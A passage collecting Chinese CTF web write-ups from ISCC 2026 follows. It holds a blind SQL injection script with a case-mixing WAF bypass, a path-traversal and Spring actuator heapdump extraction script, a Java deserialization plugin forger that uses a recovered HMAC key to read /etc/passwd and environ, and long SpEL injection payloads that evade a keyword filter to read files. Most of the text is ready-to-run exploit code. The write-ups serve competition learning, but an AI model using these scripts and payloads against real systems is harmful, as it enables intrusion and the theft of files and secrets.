提示:”观察=通关”
提示:”Maybe this is a middle step?”
控制台日志:[Clue] Half of the truth: ISCC{Campus_Stat_A_
第五步:找到SQL注入点
尝试组合路径/admin/stat/activity/,发现需要”校园凭证”:
经过测试,发现需要添加X-Campus-Token请求头,值为之前获取的关键词maybe:
X-Campus-Token: maybe
成功访问后发现SQL注入点:
参数:dim_filter
1 SQL 语句格式:SELECT COUNT (* ) AS [维度值] FROM activity
第六步:SQL注入绕过WAF
测试发现WAF过滤了以下关键词(全大写):
1 SELECT 、FROM 、UNION 、WHERE 、AND 等
绕过方法:使用大小写混合
sElEcT代替SELECT
fRoM代替FROM
Union代替UNION
anD代替AND
lIkE代替LIKE
同时发现ascii和substr函数被完全过滤。
第七步:布尔盲注获取Flag
由于ascii和substr被过滤,改用hex函数配合lIkE进行盲注:
获取flag长度:
1 1 anD length((sElEcT value fRoM flag))= 27
结果:flag长度为27个字符
获取flag的hex值:
1 1 anD hex((sElEcT value fRoM flag))lIkE '{pattern}%'
逐字符匹配hex值:
Flag hex: 495343437B43616D7075735F537461745F415F374B217A5940777D
将hex转换为ASCII:
echo “495343437B43616D7075735F537461745F415F374B217A5940777D” | xxd -r -p
第八步:获取Flag
最终得到flag:
ISCC{Campus_Stat_A_7K!zY@w}
Exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 import requestsimport sysTARGET = "<目标地址>" HEADERS = { "User-Agent" : "Campus-Stat/1.0" , "Referer" : "[https://campus-stat.example.com/](https://campus-stat.example.com/)" , "X-Campus-Token" : "maybe" , } INJECT_URL = f"{TARGET} /admin/stat/activity/" TIMEOUT = 10 def inject (payload ): """发送注入payload,返回True表示条件为真""" try : resp = requests.get( INJECT_URL, headers=HEADERS, params={"dim_filter" : payload}, timeout=TIMEOUT ) return "✅ 10" in resp.text except Exception as e: print (f"[!] 请求失败: {e} " ) return False def verify_environment (): """验证环境:检查请求头和注入点""" print ("[*] Step 1: 验证请求头..." ) resp = requests.get(f"{TARGET} /admin/" , headers=HEADERS, timeout=TIMEOUT) if "flag{stat" not in resp.text: print ("[-] User-Agent或Referer设置错误" ) return False print ("[+] User-Agent和Referer验证通过" ) print ("[*] Step 2: 验证校园令牌..." ) resp = requests.get(INJECT_URL, headers=HEADERS, timeout=TIMEOUT) if "访问受限" in resp.text: print ("[-] X-Campus-Token设置错误" ) return False print ("[+] 校园令牌验证通过" ) print ("[*] Step 3: 验证SQL注入点..." ) if not inject("1=1" ): print ("[-] 基本注入失败" ) return False if inject("1=2" ): print ("[-] 注入逻辑异常" ) return False print ("[+] SQL注入点验证通过" ) return True def find_flag_length (): """获取flag长度""" print ("[*] Step 4: 获取flag长度..." ) for i in range (1 , 100 ): payload = f"1/**/anD/**/length((sElEcT/**/value/**/fRoM/**/flag))={i} " if inject(payload): print (f"[+] Flag长度: {i} " ) return i print ("[-] 无法获取flag长度" ) return None def dump_flag_hex (flag_len ): """用hex函数+布尔盲注逐字符获取flag""" print (f"[*] Step 5: 布尔盲注获取flag (共{flag_len * 2 } 个hex字符)..." ) hex_chars = "0123456789ABCDEF" flag_hex = "" for i in range (1 , flag_len * 2 + 1 ): found = False for c in hex_chars: pattern = flag_hex + c + "%" payload = f"1/**/anD/**/hex((sElEcT/**/value/**/fRoM/**/flag))/**/lIkE/**/'{pattern} '" if inject(payload): flag_hex += c progress = i / (flag_len * 2 ) * 100 sys.stdout.write( f"\r[+] 进度: {i} /{flag_len * 2 } ({progress:.1 f} %) | hex: {flag_hex} " ) sys.stdout.flush() found = True break if not found: print (f"\n[-] 位置{i} 未找到匹配字符" ) return None print () return flag_hex def main (): print ("=" * 50 ) print (" CTF Web题一把梭 - 社团活动统计" ) print ("=" * 50 ) print () if not verify_environment(): print ("\n[-] 环境验证失败,请检查目标地址和请求头" ) sys.exit(1 ) flag_len = find_flag_length() if not flag_len: sys.exit(1 ) flag_hex = dump_flag_hex(flag_len) if not flag_hex: sys.exit(1 ) try : flag = bytes .fromhex(flag_hex).decode() except Exception as e: print (f"[-] Hex转换失败: {e} " ) sys.exit(1 ) print () print ("=" * 50 ) print (f" FLAG: {flag} " ) print ("=" * 50 ) if __name__ == "__main__" : main()
逆向穿越 解题思路 题目分析
首页直接给了一个接口格式:
1 GET /config/{app}/{profile}/{filename}
同时页面示例里有:
1 /config/infra/default/setup.yml
1 /config/app/dev/application.yml
先访问:
1 /config/app/dev/application.yml
返回的是一份假配置,并且给出提示:
这说明关键点是想办法读系统根目录下的/app/application.yml。
漏洞点
这个接口对第三段filename的处理存在路径归一化问题,%2f会被当成真实的/。
所以可以直接把filename伪造成绝对路径:
1 /config/app/dev/%2fapp%2fapplication.yml
成功读到真实配置:
1 2 3 management: endpoints: web:
base-path: “/internal-monitor-xyz123”
exposure:
include: “env”
1 2 3 system: diagnostic: backup-download-path: ${SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH}
第二步:读 actuator env
根据真实配置访问:
1 /internal-monitor-xyz123/env
可拿到环境信息,其中包含:
1 2 "SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH": { "value": "/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat"}
所以备份文件路径为:
1 /api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat
第三步:下载 heapdump 并离线提取
该文件本质上是一个 Java HPROF dump:
Java HPROF dump, created Tue Mar 10 13:14:21 2026
直接明文访问 env 时,FLAG会被脱敏成******,但 heapdump 里仍然保留了真实字符串。
把 dump 拉到本地后,用strings或脚本检索ISCC{即可得到 flag。
最终 flag
ISCC{Double_Decode_Spring_Bingo_2026}
Exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 import argparseimport jsonimport reimport timefrom urllib.request import Request, urlopenFLAG_RE = re.compile (rb"ISCC{[^\r\n}]{0,256}}" ) def log (msg: str ) -> None : print (msg, flush=True ) def http_get (url: str , timeout: int = 15 , headers: dict | None = None ) -> bytes : req = Request(url, headers=headers or {"User-Agent" : "Mozilla/5.0" }) with urlopen(req, timeout=timeout) as resp: return resp.read() def http_get_retry ( url: str , timeout: int = 15 , headers: dict | None = None , tries: int = 6 , backoff: float = 2.0 , ) -> bytes : last_exc = None for i in range (tries): try : return http_get(url, timeout=timeout, headers=headers) except Exception as e: last_exc = e log(f"[!] request failed ({i + 1 } /{tries} ): {url} -> {e} " ) if i == tries - 1 : break time.sleep(backoff * (i + 1 )) raise last_exc def find_json_value (blob: bytes , key: str ) -> str | None : try : obj = json.loads(blob.decode("utf-8" , errors="replace" )) except Exception: return None stack = [obj] while stack: cur = stack.pop() if isinstance (cur, dict ): if key in cur: val = cur[key] if isinstance (val, dict ) and "value" in val: return str (val["value" ]) return str (val) stack.extend(cur.values()) elif isinstance (cur, list ): stack.extend(cur) return None def extract_flag (data: bytes ) -> str | None : m = FLAG_RE.search(data) if m: return m.group(0 ).decode("utf-8" , errors="replace" ) return None def stream_find_flag ( url: str , timeout: int , chunk_size: int , dump_file, headers: dict | None = None , ) -> str | None : req = Request(url, headers=headers or {"User-Agent" : "Mozilla/5.0" }) tail = b"" total = 0 with urlopen(req, timeout=timeout) as resp: while True : chunk = resp.read(chunk_size) if not chunk: log(f"[*] stream ended after {total} bytes" ) return None total += len (chunk) if dump_file is not None : dump_file.write(chunk) flag = extract_flag(tail + chunk) if flag: log(f"[+] flag found after {total} bytes" ) return flag tail = (tail + chunk)[-512 :] if total % (1024 * 1024 ) < chunk_size: log(f"[*] streamed {total} bytes" ) def main () -> int : parser = argparse.ArgumentParser(description="Cloud Config Central one-shot exploit" ) parser.add_argument("--base-url" , default="<目标地址>" , help ="target base URL" ) parser.add_argument( "--dump-out" , default="" , help ="optional local path for downloaded heapdump" ) parser.add_argument("--timeout" , type =int , default=15 , help ="request timeout" ) parser.add_argument("--chunk-size" , type =int , default=65536 , help ="range chunk size" ) parser.add_argument("--tries" , type =int , default=8 , help ="retry count per request" ) args = parser.parse_args() base = args.base_url.rstrip("/" ) log(f"[*] target: {base} " ) try : log(f"[*] probing home: {base} /" ) home = http_get_retry(f"{base} /" , timeout=args.timeout, tries=max (2 , min (args.tries, 4 ))) log(f"[*] home OK, received {len (home)} bytes" ) except Exception as e: raise SystemExit(f"[!] target unreachable from your machine: {e} " ) real_cfg_url = f"{base} /config/app/dev/%2fapp%2fapplication.yml" log(f"[*] reading real config: {real_cfg_url} " ) try : cfg = http_get_retry(real_cfg_url, timeout=args.timeout, tries=args.tries) except Exception as e: raise SystemExit(f"[!] failed while reading real config: {e} " ) if b"/internal-monitor-" not in cfg: raise SystemExit("[!] failed to read real /app/application.yml" ) m = re.search(rb'base-path:\s*"([^"]+)"' , cfg) if not m: raise SystemExit("[!] actuator base path not found in application.yml" ) actuator_base = m.group(1 ).decode() log(f"[*] actuator base path: {actuator_base} " ) env_url = f"{base} {actuator_base} /env" log(f"[*] reading env: {env_url} " ) try : env_blob = http_get_retry(env_url, timeout=args.timeout, tries=args.tries) except Exception as e: raise SystemExit(f"[!] failed while reading env endpoint: {e} " ) dump_path = find_json_value(env_blob, "SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH" ) dump_urls = [] if dump_path: dump_urls.append(f"{base} {dump_path} " ) dump_urls.append(f"{base} {actuator_base} /heapdump" ) dump_urls = list (dict .fromkeys(dump_urls)) log("[*] candidate dump URLs:" ) for u in dump_urls: log(f" - {u} " ) dump_file = open (args.dump_out, "wb" ) if args.dump_out else None try : last_error = None for dump_url in dump_urls: log(f"[*] trying dump URL: {dump_url} " ) if dump_file is not None : dump_file.seek(0 ) dump_file.truncate() try : flag = stream_find_flag( dump_url, timeout=max (args.timeout, 30 ), chunk_size=args.chunk_size, dump_file=dump_file, headers={"User-Agent" : "Mozilla/5.0" }, ) if flag: log(flag) return 0 except Exception as e: log(f"[!] dump stream failed: {e} " ) last_error = e continue if last_error is not None : raise SystemExit( f"[!] heapdump download failed: {last_error} " ) finally : if dump_file is not None : dump_file.close() raise SystemExit("[!] flag not found in heapdump" ) if __name__ == "__main__" : raise SystemExit(main())
国赛 Web WP Agent插件管理系统 解题思路 一、漏洞概述 目标系统存在两处核心问题:
插件上传时对 metadata.ser 进行 Java 原生反序列化
插件 HMAC 密钥硬编码在程序配置中,可被恢复后伪造合法插件包
在此基础上,可以构造应用自带类组成的反序列化对象链,触发服务端读取任意文件,并将结果写入日志接口返回。
此外,/api/config/update_url 还存在 team_id 路径穿越,可将内网 HTTP 响应内容下载到指定目录,再通过任意文件读取回显。
二、关键分析 1. HMAC 密钥恢复 下载官方提供的 agent-core.jar 后,对配置和相关校验逻辑进行分析,可以恢复出插件签名密钥:
k3y_5A62_X86
因此,攻击者可以自行构造 metadata.ser,再为其生成合法的 hmacSignature。
2. 反序列化触发点 上传流程的关键逻辑为:
-> 解压插件包
-> 读取 manifest.json
-> 校验 HMAC
-> 反序列化 metadata.ser
因此,只要签名正确,上传阶段就会直接触发反序列化。
3. 应用自带可用类链 程序中存在如下类:
ResourceRefresher
DataStream
FileExporter
反编译后可以整理出如下调用链:
1 2 3 4 5 6 ResourceRefresher.readObject() -> refresh() -> DataStream.process(targetPath) -> FileExporter.export(targetPath) -> Files.readAllBytes(Paths.get(path)) -> LogService.log(teamId, "FILE_EXPORT" , "Exported: ... Content: ..." )
因此,只要将对象字段布置为目标路径和指定 team_id,在反序列化阶段即可读取目标文件并把内容写入对应日志。
4. 文件读取原语的边界
文件读取实际调用的是:
1 Files.readAllBytes(Paths.get(path))
因此该原语的能力是:
可以读取普通文件
不支持目录列举
不支持 *、正则、glob 展开
也就是说,利用时必须提供精确路径。
5. update_url 的 team_id 路径穿越 更新逻辑会把 HTTP 响应保存到:
1 /tmp/agent//downloaded_plugin.zip
在线上环境中,team_id 可被构造成路径穿越:
../../app/uploads/
于是下载结果会落到:
1 /app/uploads//downloaded_plugin.zip
随后再利用任意文件读取该路径,即可获得内网 HTTP 接口的响应体。
利用链
完整利用过程如下:
恢复 HMAC 密钥
-> 构造恶意 metadata.ser
-> 生成带合法 manifest.json 的插件包
-> POST /api/upload
-> 服务端反序列化应用自带对象链
-> 读取指定文件
-> GET /api/logs?team_id=…
-> 取回文件内容
扩展利用过程如下:
1 2 3 POST /api/config/update_url team_id=../../app/uploads/ url=[http://localhost:8080/](http://localhost:8080/)
-> 内网响应保存到 /app/uploads//downloaded_plugin.zip
-> 再次触发任意文件读取
-> 取回该响应内容
利用构造
恶意对象链的核心结构如下:
1 2 3 4 5 6 FileExporter exporter = new FileExporter (teamId);DataStream dataStream = new DataStream ();dataStream.setExporter(exporter); ResourceRefresher refresher = new ResourceRefresher ();refresher.setTargetPath(targetPath); refresher.setDataStream(dataStream);
插件包结构:manifest.json、metadata.ser
其中:
manifest.json 中填写合法 HMAC
metadata.ser 为序列化后的恶意对象
Exp:任意文件读取插件生成脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 import base64import hashlibimport hmacimport jsonimport subprocessimport zipfilefrom pathlib import PathCLASS_DIR = Path(r"D:\Hnu\比赛\2026iscc\artifacts\salvaged\BOOT-INF\classes" ) JAVA_FILE = Path("PayloadBuilder.java" ) JAVA_CLASS = "PayloadBuilder" TARGET_PATH = "/etc/passwd" TEAM_ID = "<队伍ID>" PLUGIN_NAME = "evil-plugin" PLUGIN_VERSION = "1.0.0" PLUGIN_DESCRIPTION = "evil" HMAC_KEY = b"k3y_5A62_X86" PAYLOAD_FILE = Path("metadata.ser" ) PLUGIN_FILE = Path("evil-plugin.zip" ) def run (cmd ): print ("[*] run:" , " " .join(str (part) for part in cmd)) subprocess.run(cmd, check=True ) def ensure_builder (): class_file = Path(JAVA_CLASS + ".class" ) needs_compile = (not class_file.exists()) or ( class_file.stat().st_mtime < JAVA_FILE.stat().st_mtime ) if needs_compile: run(["javac" , "-encoding" , "UTF-8" , "-cp" , str (CLASS_DIR), str (JAVA_FILE)]) def build_payload (): ensure_builder() run( [ "java" , "-cp" , f".;{CLASS_DIR} " , JAVA_CLASS, str (PAYLOAD_FILE), TEAM_ID, TARGET_PATH, ] ) return PAYLOAD_FILE.read_bytes() def sign_blob (blob ): digest = hmac.new(HMAC_KEY, blob, hashlib.sha256).digest() return base64.b64encode(digest).decode() def build_plugin (blob ): manifest = { "pluginName" : PLUGIN_NAME, "version" : PLUGIN_VERSION, "hmacSignature" : sign_blob(blob), "description" : PLUGIN_DESCRIPTION, } with zipfile.ZipFile(PLUGIN_FILE, "w" , zipfile.ZIP_DEFLATED) as zf: zf.writestr("manifest.json" , json.dumps(manifest, ensure_ascii=False , indent=2 )) zf.writestr("metadata.ser" , blob) def main (): blob = build_payload() build_plugin(blob) print ("[+] target path:" , TARGET_PATH) print ("[+] team id :" , TEAM_ID) print ("[+] payload :" , PAYLOAD_FILE.resolve()) print ("[+] plugin zip :" , PLUGIN_FILE.resolve()) if __name__ == "__main__" : main()
关键回显
1. 读取 /etc/flag 通过日志接口可获得如下回显:
明显假flagISCC{f4k3_fl4g_d3c0y_d0nt_subm1t}\n”,
2. 读取/etc/passw
:
3. 读取环境变量/proc/self/environ,可得到:
4. 最后的flag位置是/opt/app/.env
flag:ISCC{aunXV6waj5Hp8cT35SwVcKK}
编码迷宫 解题思路 一、漏洞概述 目标站点的核心接口为:/api/route?expr=
该接口会对 expr 参数做 SpEL 求值。前置过滤器会拦截原始请求中连续小写的:fs、read
但目标仍然允许零参方法通过“属性访问”的方式触发,因此可以绕过 #fs.read(…) 这种直接写法,改为从基础对象反射构造出 java.io.File.class,再读取根目录 /flag。
1 最终关键点是:toURL.content['r'+'eadAllBytes']这里没有在原始请求里直接出现连续小写 read,因此前置过滤器不会拦截;进入 SpEL 求值阶段后,'r'+'eadAllBytes' 会被重新拼成 readAllBytes,对象索引访问会继续走属性解析,最终触发真实的零参方法 readAllBytes()。
二、收集信息 访问<目标地址>/可以看到页面标题:Spring Route Debugger
1 <目标地址>/api/route?expr=1%2B1 注意加号的url编码
返回2,这一步说明 /api/route?expr= 确实会对 expr 做表达式求值。
访问<目标地址>/api/route?expr=%23fs
返回:Security Filter: Malicious keywords detected!这一步说明前置关键字过滤确实存在。
1 <目标地址>/api/route?expr=%27abc%27.toUpperCase
返回ABC。这一步说明目标虽然限制了普通显式方法调用,但零参方法仍然可以通过属性访问触发。
三、构造Payload 1. 选择稳定起点 起点直接使用字符串字面量:’’
它不依赖任何上下文变量,始终可用。
先取它的类对象:’’.class。这会得到 java.lang.String 的 Class 对象。、
2. 从 String.class 构造 lookupClass 第一段核心 payload:
1 ''.class.describeConstable.get.class.methods.?[name matches '^resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass
构造过程:
1 ''.class.describeConstable 取到 Optional
.get 解开 Optional
1 .class.methods 枚举该对象所属类的方法
1 ?[name matches '^resolveConstantDesc$'][0] 选中 resolveConstantDesc
.parameterTypes[0] 取第一个参数类型,即 MethodHandles$Lookup
.enclosingClass.lookup.lookupClass 利用 caller-sensitive Lookup 拿到当前真实可达的调用类这段结果记为:L
验证表达式:
1 ''.class.describeConstable.get.class.methods.?[name matches '^resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass.name
url编码得到
1 <目标地址>/api/route?expr=''.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20'%5EresolveConstantDesc%24'%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass
返回: org.springframework.expression.spel.support.ReflectivePropertyAccessor$OptimalPropertyAccessor
3. 从 lookupClass 推到 Runtime.class 第二段 payload:
1 L.classLoader.URLs[0].openConnection.jarFile.class.methods.?[name matches '^getVersion$'][0].returnType.enclosingClass
构造过程:
L.classLoader.URLs[0] 取当前应用 fat jar 的 URL
.openConnection.jarFile.class 拿到 JarFile.class
在 JarFile 方法中找到 getVersion
getVersion 的返回类型是 Runtime$Version
.enclosingClass 回到它的外部类 java.lang.Runtime
这段结果记为:R
表达式:
1 ''.class.describeConstable.get.class.methods.?[name matches '<sup>resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass.classLoader.URLs[0].openConnection.jarFile.class.methods.?[name matches '</sup>getVersion$'][0].returnType.enclosingClass.name
url编码得
1 <目标地址>/api/route?expr=''.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20'%5EresolveConstantDesc%24'%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.%3F%5Bname%20matches%20'%5EgetVersion%24'%5D%5B0%5D.returnType.enclosingClass.name
返回:java.lang.Runtime
4. 从 Runtime.class 反推出 File.class 第三段 payload:
R.methods.?[(name matches ‘exec$’) and (parameterCount matches ‘ 3$’)][0].parameterTypes[2]
构造过程:
在 Runtime 的方法列表中找到 exec
选中参数个数为 3 的重载
该重载为 exec(String, String[], File)
取第三个参数类型,得到 java.io.File.class
这段结果记为:F
验证表达式:
1 ''.class.describeConstable.get.class.methods.?[name matches '<sup>resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass.classLoader.URLs[0].openConnection.jarFile.class.methods.?[name matches '</sup>getVersion$ '][0].returnType.enclosingClass.methods.?[(name matches '^exec $') and (parameterCount matches '^3$')][0].parameterTypes[2].name
url编码得:
1 <目标地址>/api/route?expr=''.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20'%5EresolveConstantDesc%24'%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.%3F%5Bname%20matches%20'%5EgetVersion%24'%5D%5B0%5D.returnType.enclosingClass.methods.%3F%5B(name%20matches%20'%5Eexec%24')%20and%20(parameterCount%20matches%20'%5E3%24')%5D%5B0%5D.parameterTypes%5B2%5D.name
返回java.io.File
5. 用 File.class 枚举根目录并锁定 /flag 1 2 第四段 payload:F.listRoots[0].listFiles.?[name matches '._flag._'][0] 构造过程:F.listRoots[0] 取 Linux 根目录 /
.listFiles 枚举根目录文件
1 ?[name matches '._flag._'][0] 选出名称中包含 flag 的第一个文件
这段结果记为:T
验证表达式:
1 ''.class.describeConstable.get.class.methods.?[name matches '<sup>resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass.classLoader.URLs[0].openConnection.jarFile.class.methods.?[name matches '</sup>getVersion$ '][0].returnType.enclosingClass.methods.?[(name matches '^exec $') and (parameterCount matches '^3$')][0].parameterTypes[2].listRoots[0].listFiles.?[name matches '._flag._'][0].canonicalPath
url编码得:
1 <目标地址>/api/route?expr=''.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20'%5EresolveConstantDesc%24'%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.%3F%5Bname%20matches%20'%5EgetVersion%24'%5D%5B0%5D.returnType.enclosingClass.methods.%3F%5B(name%20matches%20'%5Eexec%24')%20and%20(parameterCount%20matches%20'%5E3%24')%5D%5B0%5D.parameterTypes%5B2%5D.listRoots%5B0%5D.listFiles.%3F%5Bname%20matches%20'._flag._'%5D%5B0%5D.canonicalPath预期返回:/flag
6. 从目标文件拿到输入流 1 第五段 payload:T.toURL.content
这段结果记为:S
验证输入流类型时可使用:
1 ''.class.describeConstable.get.class.methods.?[name matches '<sup>resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass.classLoader.URLs[0].openConnection.jarFile.class.methods.?[name matches '</sup>getVersion$ '][0].returnType.enclosingClass.methods.?[(name matches '^exec $') and (parameterCount matches '^3$')][0].parameterTypes[2].listRoots[0].listFiles.?[name matches '._flag._'][0].toURL.content.class.name
url编码得:
1 <目标地址>/api/route?expr=''.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20'%5EresolveConstantDesc%24'%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.%3F%5Bname%20matches%20'%5EgetVersion%24'%5D%5B0%5D.returnType.enclosingClass.methods.%3F%5B(name%20matches%20'%5Eexec%24')%20and%20(parameterCount%20matches%20'%5E3%24')%5D%5B0%5D.parameterTypes%5B2%5D.listRoots%5B0%5D.listFiles.%3F%5Bname%20matches%20'._flag._'%5D%5B0%5D.toURL.content.class.name
返回java.io.BufferedInputStream
再验证文件里确实有数据:
1 ''.class.describeConstable.get.class.methods.?[name matches '<sup>resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass.classLoader.URLs[0].openConnection.jarFile.class.methods.?[name matches '</sup>getVersion$ '][0].returnType.enclosingClass.methods.?[(name matches '^exec $') and (parameterCount matches '^3$')][0].parameterTypes[2].listRoots[0].listFiles.?[name matches '._flag._'][0].toURL.content['a'+'vailable']
url编码得:
1 <目标地址>/api/route?expr=''.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20'%5EresolveConstantDesc%24'%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.%3F%5Bname%20matches%20'%5EgetVersion%24'%5D%5B0%5D.returnType.enclosingClass.methods.%3F%5B(name%20matches%20'%5Eexec%24')%20and%20(parameterCount%20matches%20'%5E3%24')%5D%5B0%5D.parameterTypes%5B2%5D.listRoots%5B0%5D.listFiles.%3F%5Bname%20matches%20'._flag._'%5D%5B0%5D.toURL.content%5B'a'%2B'vailable'%5D
返回40
7. 关键绕过:把 readAllBytes 拆开 如果直接写:S.readAllBytes
或者:S.readAllBytes[0]
原始请求里会直接出现连续小写 read,因此会在进入 SpEL 之前被过滤器拦截。
1 正确写法是:S['r'+'eadAllBytes']
这里的语义是:
原始 HTTP 请求中没有连续小写 read
SpEL 求值时先计算 ‘r’+’eadAllBytes’
结果变成真正的方法名 readAllBytes
对象索引访问继续走属性解析
readAllBytes() 是零参方法,因此会被当作属性触发
这段结果记为:B
1 即:B = T.toURL.content['r'+'eadAllBytes']
验证长度时可使用:
1 ''.class.describeConstable.get.class.methods.?[name matches '<sup>resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass.classLoader.URLs[0].openConnection.jarFile.class.methods.?[name matches '</sup>getVersion$ '][0].returnType.enclosingClass.methods.?[(name matches '^exec $') and (parameterCount matches '^3$')][0].parameterTypes[2].listRoots[0].listFiles.?[name matches '._flag._'][0].toURL.content['r'+'eadAllBytes'].length
url编码得:
1 <目标地址>/api/route?expr=''.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20'%5EresolveConstantDesc%24'%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.%3F%5Bname%20matches%20'%5EgetVersion%24'%5D%5B0%5D.returnType.enclosingClass.methods.%3F%5B(name%20matches%20'%5Eexec%24')%20and%20(parameterCount%20matches%20'%5E3%24')%5D%5B0%5D.parameterTypes%5B2%5D.listRoots%5B0%5D.listFiles.%3F%5Bname%20matches%20'._flag._'%5D%5B0%5D.toURL.content%5B'r'%2B'eadAllBytes'%5D.length
返回:40
最终 payload 拼接
符号化拼接如下:
1 2 3 4 5 L = ''.class.describeConstable.get.class.methods.?[name matches '^resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass R = L.classLoader.URLs[0].openConnection.jarFile.class.methods.?[name matches '^getVersion$'][0].returnType.enclosingClass F = R.methods.?[(name matches '<sup>exec$') and (parameterCount matches '</sup>3$')][0].parameterTypes[2] T = F.listRoots[0].listFiles.?[name matches '._flag._'][0] B = T.toURL.content['r'+'eadAllBytes']
完全展开后的最终读取 payload:
1 ''.class.describeConstable.get.class.methods.?[name matches '<sup>resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass.classLoader.URLs[0].openConnection.jarFile.class.methods.?[name matches '</sup>getVersion$ '][0].returnType.enclosingClass.methods.?[(name matches '^exec $') and (parameterCount matches '^3$')][0].parameterTypes[2].listRoots[0].listFiles.?[name matches '._flag._'][0].toURL.content['r'+'eadAllBytes']
url编码得:
1 <目标地址>/api/route?expr=''.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20'%5EresolveConstantDesc%24'%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.%3F%5Bname%20matches%20'%5EgetVersion%24'%5D%5B0%5D.returnType.enclosingClass.methods.%3F%5B(name%20matches%20'%5Eexec%24')%20and%20(parameterCount%20matches%20'%5E3%24')%5D%5B0%5D.parameterTypes%5B2%5D.listRoots%5B0%5D.listFiles.%3F%5Bname%20matches%20'._flag._'%5D%5B0%5D.toURL.content%5B'r'%2B'eadAllBytes'%5D
取前五个字节确认 flag 头
第 0 位完整 URL:
1 <目标地址>/api/route?expr=%27%27.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20%27%5EresolveConstantDesc%24%27%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.%3F%5Bname%20matches%20%27%5EgetVersion%24%27%5D%5B0%5D.returnType.enclosingClass.methods.%3F%5B%28name%20matches%20%27%5Eexec%24%27%29%20and%20%28parameterCount%20matches%20%27%5E3%24%27%29%5D%5B0%5D.parameterTypes%5B2%5D.listRoots%5B0%5D.listFiles.%3F%5Bname%20matches%20%27.%2Aflag.%2A%27%5D%5B0%5D.toURL.content%5B%27r%27%2B%27eadAllBytes%27%5D%5B0%5D
返回:73
第 1 位完整 URL:
1 <目标地址>/api/route?expr=%27%27.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20%27%5EresolveConstantDesc%24%27%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.%3F%5Bname%20matches%20%27%5EgetVersion%24%27%5D%5B0%5D.returnType.enclosingClass.methods.%3F%5B%28name%20matches%20%27%5Eexec%24%27%29%20and%20%28parameterCount%20matches%20%27%5E3%24%27%29%5D%5B0%5D.parameterTypes%5B2%5D.listRoots%5B0%5D.listFiles.%3F%5Bname%20matches%20%27.%2Aflag.%2A%27%5D%5B0%5D.toURL.content%5B%27r%27%2B%27eadAllBytes%27%5D%5B1%5D
返回:83
同理,第n位url
